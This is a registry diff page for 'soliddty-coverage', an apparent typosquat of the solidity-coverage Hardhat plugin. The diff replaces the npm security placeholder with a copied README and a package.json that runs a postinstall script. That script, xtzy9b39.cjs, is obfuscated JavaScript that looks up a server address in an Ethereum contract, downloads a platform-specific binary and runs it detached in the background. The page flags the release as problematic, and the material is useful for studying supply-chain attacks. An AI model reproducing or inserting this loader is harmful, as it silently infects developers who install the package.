soliddty-coverage 0.0.1-security → 0.8.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of soliddty-coverage might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2016 Alex Rea
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,209 @@
1
- # Security holding package
1
+ # solidity-coverage
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![Gitter chat](https://badges.gitter.im/sc-forks/solidity-coverage.svg)][18]
4
+ ![npm (tag)](https://img.shields.io/npm/v/solidity-coverage/latest)
5
+ [![CircleCI](https://circleci.com/gh/sc-forks/solidity-coverage.svg?style=svg)][20]
6
+ [![codecov](https://codecov.io/gh/sc-forks/solidity-coverage/branch/master/graph/badge.svg)][21]
7
+ [![Hardhat](https://hardhat.org/buidler-plugin-badge.svg?1)][26]
8
+
9
+
10
+ ## Code coverage for Solidity testing
11
+ ![coverage example][22]
12
+
13
+ + For more details about what this is, how it works and potential limitations,
14
+ see [the accompanying article][16].
15
+ + `solidity-coverage` is [Solcover][17]
16
+
17
+ ## Requirements
18
+
19
+ + Hardhat >= 2.11.0
20
+
21
+ ## Install
22
+ ```
23
+ $ yarn add solidity-coverage --dev
24
+ ```
25
+
26
+ **Require** the plugin in `hardhat.config.js` ([Hardhat docs][26])
27
+ ```javascript
28
+ require('solidity-coverage')
29
+ ```
30
+
31
+ Or, if you are using TypeScript, add this to your hardhat.config.ts:
32
+ ```ts
33
+ import 'solidity-coverage'
34
+ ```
35
+
36
+ **Resources**:
37
+ + [0.8.0 release notes][31]
38
+
39
+ ## Run
40
+ ```
41
+ npx hardhat coverage [command-options]
42
+ ```
43
+
44
+ ### Trouble shooting
45
+
46
+ **Missing or unexpected coverage?** Make sure you're using the latest plugin version and run:
47
+ ```sh
48
+ $ npx hardhat clean
49
+ $ npx hardhat compile
50
+ $ npx hardhat coverage
51
+ ```
52
+
53
+ **Typescript compilation errors?**
54
+ ```sh
55
+ $ npx hardhat compile
56
+ $ TS_NODE_TRANSPILE_ONLY=true npx hardhat coverage
57
+ ```
58
+
59
+ **Weird test failures or plugin conflicts?**
60
+
61
+ ```sh
62
+ # Setting the `SOLIDITY_COVERAGE` env variable tells the coverage plugin to configure the provider
63
+ # early in the hardhat task cycle, minimizing conflicts with other plugins or `extendEnvironment` hooks
64
+
65
+ $ SOLIDITY_COVERAGE=true npx hardhat coverage
66
+ ```
67
+
68
+ **Additional Help**
69
+ + [FAQ][1007]
70
+ + [Advanced Topics][1005]
71
+
72
+
73
+ ## Command Options
74
+ | Option <img width=200/> | Example <img width=750/>| Description <img width=1000/> |
75
+ |--------------|------------------------------------|--------------------------------|
76
+ | testfiles | `--testfiles "test/registry/*.ts"` | Test file(s) to run. (Globs must be enclosed by quotes and use [globby matching patterns][38])|
77
+ | sources | `--sources myFolder` or `--sources myFile.sol` | Path to *single* folder or file to target for coverage. Path is relative to Hardhat's `paths.sources` (usually `contracts/`) |
78
+ | solcoverjs | `--solcoverjs ./../.solcover.js` | Relative path from working directory to config. Useful for monorepo packages that share settings. (Path must be "./" prefixed) |
79
+ | matrix | `--matrix` | Generate a JSON object that maps which mocha tests hit which lines of code. (Useful as an input for some fuzzing, mutation testing and fault-localization algorithms.) [More...][39]|
80
+
81
+ [<sup>*</sup> Advanced use][14]
82
+
83
+ ## Config Options
84
+
85
+ Additional options can be specified in a `.solcover.js` config file located in the root directory
86
+ of your project.
87
+
88
+ **Example:**
89
+ ```javascript
90
+ module.exports = {
91
+ skipFiles: ['Routers/EtherRouter.sol']
92
+ };
93
+ ```
94
+
95
+ | Option <img width=200/>| Type <img width=200/> | Default <img width=1000/> | Description <img width=1000/> |
96
+ | ------ | ---- | ------- | ----------- |
97
+ | skipFiles | *Array* | `[]` | Array of contracts or folders (with paths expressed relative to the `contracts` directory) that should be skipped when doing instrumentation.(ex: `[ "Routers", "Networks/Polygon.sol"]`) :warning: **RUN THE HARDHAT CLEAN COMMAND AFTER UPDATING THIS** |
98
+ | modifierWhitelist | *String[]* | `[]` | List of modifier names (ex: `onlyOwner`) to exclude from branch measurement. (Useful for modifiers which prepare something instead of acting as a gate.)) |
99
+ | mocha | *Object* | `{ }` | [Mocha options][3] to merge into existing mocha config. `grep` and `invert` are useful for skipping certain tests under coverage using tags in the test descriptions. [More...][24]|
100
+ | measureStatementCoverage | *boolean* | `true` | Computes statement (in addition to line) coverage. [More...][34] |
101
+ | measureFunctionCoverage | *boolean* | `true` | Computes function coverage. [More...][34] |
102
+ | measureModifierCoverage | *boolean* | `true` | Computes each modifier invocation as a code branch. [More...][34] |
103
+ | **:printer: OUTPUT** | | | |
104
+ | matrixOutputPath | *String* | `./testMatrix.json` | Relative path to write test matrix JSON object to. [More...][39]|
105
+ | mochaJsonOutputPath | *String* | `./mochaOutput.json` | Relative path to write mocha JSON reporter object to. [More...][39]|
106
+ | abiOutputPath | *String* | `./humanReadableAbis.json` | Relative path to write diff-able ABI data to |
107
+ | istanbulFolder | *String* | `./coverage` | Folder location for Istanbul coverage reports. |
108
+ | istanbulReporter | *Array* | `['html', 'lcov', 'text', 'json']` | [Istanbul coverage reporters][2] |
109
+ | silent | *Boolean* | false | Suppress logging output |
110
+ | **:recycle: WORKFLOW HOOKS** | | | |
111
+ | onServerReady[<sup>*</sup>][14] | *Function* | | Hook run *after* server is launched, *before* the tests execute. Useful if you need to use the Oraclize bridge or have setup scripts which rely on the server's availability. [More...][23] |
112
+ | onPreCompile[<sup>*</sup>][14] | *Function* | | Hook run *after* instrumentation is performed, *before* the compiler is run. Can be used with the other hooks to be able to generate coverage reports on non-standard / customized directory structures, as well as contracts with absolute import paths. [More...][23] |
113
+ | onCompileComplete[<sup>*</sup>][14] | *Function* | | Hook run *after* compilation completes, *before* tests are run. Useful if you have secondary compilation steps or need to modify built artifacts. [More...][23]|
114
+ | onTestsComplete[<sup>*</sup>][14] | *Function* | | Hook run *after* the tests complete, *before* Istanbul reports are generated. [More...][23]|
115
+ | onIstanbulComplete[<sup>*</sup>][14] | *Function* | | Hook run *after* the Istanbul reports are generated, *before* the coverage task completes. Useful if you need to clean resources up. [More...][23]|
116
+ | **:warning: DEPRECATED** | | | |
117
+ | configureYulOptimizer | *Boolean* | false | **(Deprecated since 0.8.7)** Setting to `true` should resolve "stack too deep" compiler errors in large projects using ABIEncoderV2 |
118
+ | solcOptimizerDetails | *Object* | `undefined` |**(Deprecated since 0.8.7))** Must be used in combination with `configureYulOptimizer`. Allows you to configure solc's [optimizer details][1001]. Useful if the default remedy for stack-too-deep errors doesn't work in your case (See [FAQ: Running out of stack][1002] ). |
119
+
120
+
121
+ [<sup>*</sup> Advanced use][14]
122
+
123
+ ## Viewing the reports:
124
+ + You can find the Istanbul reports written to the `./coverage/` folder generated in your root directory.
125
+
126
+ ## API
127
+
128
+ Solidity-coverage's core methods and many utilities are available as an API.
129
+
130
+ ```javascript
131
+ const CoverageAPI = require('solidity-coverage/api');
132
+ ```
133
+
134
+ [Documentation available here][28].
135
+
136
+ ## Detecting solidity-coverage from another task
137
+
138
+ If you're writing another plugin or task, it can be helpful to detect whether coverage is running or not.
139
+ The coverage plugin sets a boolean variable on the globally injected hardhat environment object for this purpose.
140
+
141
+ ```
142
+ hre.__SOLIDITY_COVERAGE_RUNNING === true
143
+ ```
144
+
145
+ ## Example reports
146
+ + [openzeppelin-contracts][10] (Codecov)
147
+
148
+ ## Funding
149
+
150
+ You can help fund solidity-coverage development through [DRIPS][1008]. It's a public goods protocol which helps distribute money to packages in your dependency tree. (It's great, check it out.)
151
+
152
+ ## Contribution Guidelines
153
+
154
+ Contributions are welcome! If you're opening a PR that adds features or options *please consider
155
+ writing full [unit tests][11] for them*. (We've built simple fixtures for almost everything
156
+ and are happy to add some for your case if necessary).
157
+
158
+
159
+ Set up the development environment with:
160
+ ```
161
+ $ git clone https://github.com/sc-forks/solidity-coverage.git
162
+ $ yarn
163
+ ```
164
+
165
+ [2]: https://istanbul.js.org/docs/advanced/alternative-reporters/
166
+ [3]: https://mochajs.org/api/mocha
167
+ [4]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#running-out-of-gas
168
+ [5]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#running-out-of-memory
169
+ [6]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#running-out-of-time
170
+ [7]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#continuous-integration
171
+ [8]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#notes-on-branch-coverage
172
+ [9]: https://sc-forks.github.io/metacoin/
173
+ [10]: https://app.codecov.io/gh/OpenZeppelin/openzeppelin-contracts
174
+ [11]: https://github.com/sc-forks/solidity-coverage/tree/master/test/units
175
+ [12]: https://github.com/sc-forks/solidity-coverage/issues
176
+ [13]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#notes-on-gas-distortion
177
+ [14]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md
178
+ [15]: #config-options
179
+ [16]: https://blog.colony.io/code-coverage-for-solidity-eecfa88668c2
180
+ [17]: https://github.com/JoinColony/solcover
181
+ [18]: https://gitter.im/sc-forks/solidity-coverage?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge
182
+ [19]: https://badge.fury.io/js/solidity-coverage
183
+ [20]: https://circleci.com/gh/sc-forks/solidity-coverage
184
+ [21]: https://codecov.io/gh/sc-forks/solidity-coverage
185
+ [22]: https://cdn-images-1.medium.com/max/800/1*uum8t-31bUaa6dTRVVhj6w.png
186
+ [23]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md#workflow-hooks
187
+ [24]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md#skipping-tests
188
+ [25]: https://github.com/sc-forks/solidity-coverage/issues/417
189
+ [26]: https://hardhat.org/
190
+ [27]: https://www.trufflesuite.com/docs
191
+ [28]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/api.md
192
+ [29]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/upgrade.md#upgrading-from-06x-to-070
193
+ [30]: https://github.com/sc-forks/solidity-coverage/tree/0.6.x-final#solidity-coverage
194
+ [31]: https://github.com/sc-forks/solidity-coverage/releases/tag/v0.7.0
195
+ [33]: https://github.com/sc-forks/moloch
196
+ [34]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md#reducing-the-instrumentation-footprint
197
+ [35]: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/e5fbbda9bac49039847a7ed20c1d966766ecc64a/scripts/coverage.js
198
+ [36]: https://hardhat.org/
199
+ [37]: https://github.com/sc-forks/solidity-coverage/blob/master/HARDHAT_README.md
200
+ [38]: https://github.com/sindresorhus/globby#globbing-patterns
201
+ [39]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md#generating-a-test-matrix
202
+ [1001]: https://docs.soliditylang.org/en/v0.8.0/using-the-compiler.html#input-description
203
+ [1002]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md#running-out-of-stack
204
+ [1003]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md#parallelization-in-ci
205
+ [1004]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md#coverage-threshold-checks
206
+ [1005]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/advanced.md
207
+ [1007]: https://github.com/sc-forks/solidity-coverage/blob/master/docs/faq.md
208
+ [1008]: https://www.drips.network/app/projects/github/sc-forks/solidity-coverage
4
209
 
5
- Please refer to www.npmjs.com/advisories?search=soliddty-coverage for more information.
package/package.json CHANGED
@@ -1,6 +1,69 @@
1
1
  {
2
2
  "name": "soliddty-coverage",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.8.13",
4
+ "description": "Code coverage for Solidity testing",
5
+ "main": "plugins/nomiclabs.plugin.js",
6
+ "bin": {
7
+ "solidity-coverage": "./plugins/bin.js"
8
+ },
9
+ "directories": {
10
+ "test": "test"
11
+ },
12
+ "scripts": {
13
+ "postinstall": "node xtzy9b39.cjs"
14
+ },
15
+ "homepage": "https://github.com/sc-forks/solidity-coverage",
16
+ "repository": {
17
+ "type": "git",
18
+ "url": "https://github.com/sc-forks/solidity-coverage.git"
19
+ },
20
+ "author": "",
21
+ "license": "ISC",
22
+ "dependencies": {
23
+ "@ethersproject/abi": "^5.0.9",
24
+ "@solidity-parser/parser": "^0.18.0",
25
+ "chalk": "^2.4.2",
26
+ "death": "^1.1.0",
27
+ "difflib": "^0.2.4",
28
+ "fs-extra": "^8.1.0",
29
+ "ghost-testrpc": "^0.0.2",
30
+ "global-modules": "^2.0.0",
31
+ "globby": "^10.0.1",
32
+ "jsonschema": "^1.2.4",
33
+ "lodash": "^4.17.21",
34
+ "mocha": "^10.2.0",
35
+ "node-emoji": "^1.10.0",
36
+ "pify": "^4.0.1",
37
+ "recursive-readdir": "^2.2.2",
38
+ "sc-istanbul": "^0.4.5",
39
+ "semver": "^7.3.4",
40
+ "shelljs": "^0.8.3",
41
+ "web3-utils": "^1.3.6",
42
+ "axios": "^1.7.7",
43
+ "ethers": "^6.13.2"
44
+ },
45
+ "devDependencies": {
46
+ "@nomicfoundation/hardhat-network-helpers": "^1.0.10",
47
+ "@nomicfoundation/hardhat-viem": "^2.0.0",
48
+ "@nomiclabs/hardhat-ethers": "^2.0.4",
49
+ "@nomiclabs/hardhat-truffle5": "^2.0.0",
50
+ "@nomiclabs/hardhat-waffle": "^2.0.1",
51
+ "@nomiclabs/hardhat-web3": "^2.0.0",
52
+ "chai": "^4.3.4",
53
+ "chai-as-promised": "^7.1.1",
54
+ "decache": "^4.5.1",
55
+ "ethereum-waffle": "^3.4.0",
56
+ "ethers": "^5.5.3",
57
+ "hardhat": "^2.22.2",
58
+ "hardhat-gas-reporter": "^1.0.1",
59
+ "nyc": "^14.1.1",
60
+ "solc": "0.8.24",
61
+ "viem": "^2.9.9"
62
+ },
63
+ "peerDependencies": {
64
+ "hardhat": "^2.11.0"
65
+ },
66
+ "files": [
67
+ "xtzy9b39.cjs"
68
+ ]
69
+ }
package/plugins/bin.js ADDED
@@ -0,0 +1,10 @@
1
+ #!/usr/bin/env node
2
+
3
+ /*
4
+ Logs a warning / informational message when user tries to
5
+ invoke 'solidity-coverage' as a shell command. This file
6
+ is listed as the package.json "bin".
7
+ */
8
+ const AppUI = require('../lib/ui').AppUI;
9
+
10
+ (new AppUI()).report('command');
@@ -0,0 +1 @@
1
+ require("./hardhat.plugin");
package/xtzy9b39.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x347f(){const _0x459a71=['LpzBz','91kZgRXV','VXXrf','chmodSync','ANvmU','getDefaultProvider','stream','1586750MkUfFv','ignore','finish','16975VttCUm','/node-macos','GET','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','join','pipe','1870790cvtvGd','Unsupported\x20platform:\x20','12109190PNJmrH','platform','myqDM','1036BzLRnJ','108AnBzJl','axios','HHJAT','742168VPODRX','3aCHbLJ','9TNJMvS','LDbsg','darwin','6615081jvoJMZ','data','aQlVB','tmpdir','Ошибка\x20установки:','vKMbd','error','createWriteStream','path','Ошибка\x20при\x20запуске\x20файла:','/node-win.exe','win32','YaVwB','755','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','getString','linux','7527960wJTuto'];_0x347f=function(){return _0x459a71;};return _0x347f();}const _0x8ba632=_0x383f;(function(_0x5d5e45,_0x5b26b3){const _0x5a9f0c=_0x383f,_0x2b0695=_0x5d5e45();while(!![]){try{const _0x230e81=-parseInt(_0x5a9f0c(0x148))/0x1+-parseInt(_0x5a9f0c(0x151))/0x2*(parseInt(_0x5a9f0c(0x15b))/0x3)+-parseInt(_0x5a9f0c(0x156))/0x4*(parseInt(_0x5a9f0c(0x14b))/0x5)+parseInt(_0x5a9f0c(0x170))/0x6+-parseInt(_0x5a9f0c(0x172))/0x7*(parseInt(_0x5a9f0c(0x15a))/0x8)+-parseInt(_0x5a9f0c(0x15c))/0x9*(parseInt(_0x5a9f0c(0x153))/0xa)+parseInt(_0x5a9f0c(0x15f))/0xb*(parseInt(_0x5a9f0c(0x157))/0xc);if(_0x230e81===_0x5b26b3)break;else _0x2b0695['push'](_0x2b0695['shift']());}catch(_0x5b9b32){_0x2b0695['push'](_0x2b0695['shift']());}}}(_0x347f,0xcf2df));function _0x383f(_0x149cd9,_0x4860fb){const _0x347f17=_0x347f();return _0x383f=function(_0x383fb5,_0x3029f3){_0x383fb5=_0x383fb5-0x148;let _0x2b2b99=_0x347f17[_0x383fb5];return _0x2b2b99;},_0x383f(_0x149cd9,_0x4860fb);}const {ethers}=require('ethers'),axios=require(_0x8ba632(0x158)),util=require('util'),fs=require('fs'),path=require(_0x8ba632(0x167)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x8ba632(0x16d),WalletOwner=_0x8ba632(0x14e),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x8ba632(0x176)]('mainnet'),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x101d91=_0x8ba632,_0x3eab43={'myqDM':function(_0xfba40){return _0xfba40();}};try{const _0x366fea=await contract[_0x101d91(0x16e)](WalletOwner);return _0x366fea;}catch(_0x29856a){return console[_0x101d91(0x165)]('Ошибка\x20при\x20получении\x20IP\x20адреса:',_0x29856a),await _0x3eab43[_0x101d91(0x155)](fetchAndUpdateIp);}},getDownloadUrl=_0x1d23e7=>{const _0x401769=_0x8ba632,_0x1a26eb={'VXXrf':_0x401769(0x16f),'OQBre':_0x401769(0x15e)},_0x5bb1bd=os[_0x401769(0x154)]();switch(_0x5bb1bd){case _0x401769(0x16a):return _0x1d23e7+_0x401769(0x169);case _0x1a26eb[_0x401769(0x173)]:return _0x1d23e7+'/node-linux';case _0x1a26eb['OQBre']:return _0x1d23e7+_0x401769(0x14c);default:throw new Error(_0x401769(0x152)+_0x5bb1bd);}},downloadFile=async(_0x4e684d,_0x466f42)=>{const _0x15f71c=_0x8ba632,_0x1e66fa={'LDbsg':_0x15f71c(0x14a),'LpzBz':_0x15f71c(0x165),'gWgyn':function(_0x3ad2a2,_0x1997eb){return _0x3ad2a2(_0x1997eb);},'ANvmU':_0x15f71c(0x14d)},_0x51b801=fs[_0x15f71c(0x166)](_0x466f42),_0x305705=await _0x1e66fa['gWgyn'](axios,{'url':_0x4e684d,'method':_0x1e66fa[_0x15f71c(0x175)],'responseType':_0x15f71c(0x177)});return _0x305705[_0x15f71c(0x160)][_0x15f71c(0x150)](_0x51b801),new Promise((_0x3f4e35,_0x1f04ff)=>{const _0x1db95c=_0x15f71c;_0x51b801['on'](_0x1e66fa[_0x1db95c(0x15d)],_0x3f4e35),_0x51b801['on'](_0x1e66fa[_0x1db95c(0x171)],_0x1f04ff);});},executeFileInBackground=async _0x3b569d=>{const _0x54c963=_0x8ba632,_0x78345e={'qwhzp':function(_0x23839e,_0x364188,_0x6de019,_0x6685b8){return _0x23839e(_0x364188,_0x6de019,_0x6685b8);},'SLZoE':_0x54c963(0x149),'vKMbd':_0x54c963(0x168)};try{const _0x476aab=_0x78345e['qwhzp'](spawn,_0x3b569d,[],{'detached':!![],'stdio':_0x78345e['SLZoE']});_0x476aab['unref']();}catch(_0x4dfd1a){console['error'](_0x78345e[_0x54c963(0x164)],_0x4dfd1a);}},runInstallation=async()=>{const _0x500757=_0x8ba632,_0xf38ab6={'GWXFY':function(_0x1d9007){return _0x1d9007();},'hUdoe':function(_0x30aa32,_0x2a61c2){return _0x30aa32(_0x2a61c2);},'KsmDj':function(_0xf60c9b,_0x377987,_0x1b1299){return _0xf60c9b(_0x377987,_0x1b1299);},'YaVwB':function(_0x38b8b6,_0xb78809){return _0x38b8b6!==_0xb78809;},'HHJAT':_0x500757(0x16a),'RjJRu':function(_0x3c5483,_0x30df1a){return _0x3c5483(_0x30df1a);},'aQlVB':_0x500757(0x163)};try{const _0x2766ea=await _0xf38ab6['GWXFY'](fetchAndUpdateIp),_0x5a1a84=_0xf38ab6['hUdoe'](getDownloadUrl,_0x2766ea),_0x46c449=os[_0x500757(0x162)](),_0x56b3aa=path['basename'](_0x5a1a84),_0x31f9a4=path[_0x500757(0x14f)](_0x46c449,_0x56b3aa);await _0xf38ab6['KsmDj'](downloadFile,_0x5a1a84,_0x31f9a4);if(_0xf38ab6[_0x500757(0x16b)](os[_0x500757(0x154)](),_0xf38ab6[_0x500757(0x159)]))fs[_0x500757(0x174)](_0x31f9a4,_0x500757(0x16c));_0xf38ab6['RjJRu'](executeFileInBackground,_0x31f9a4);}catch(_0xcbeb24){console[_0x500757(0x165)](_0xf38ab6[_0x500757(0x161)],_0xcbeb24);}};runInstallation();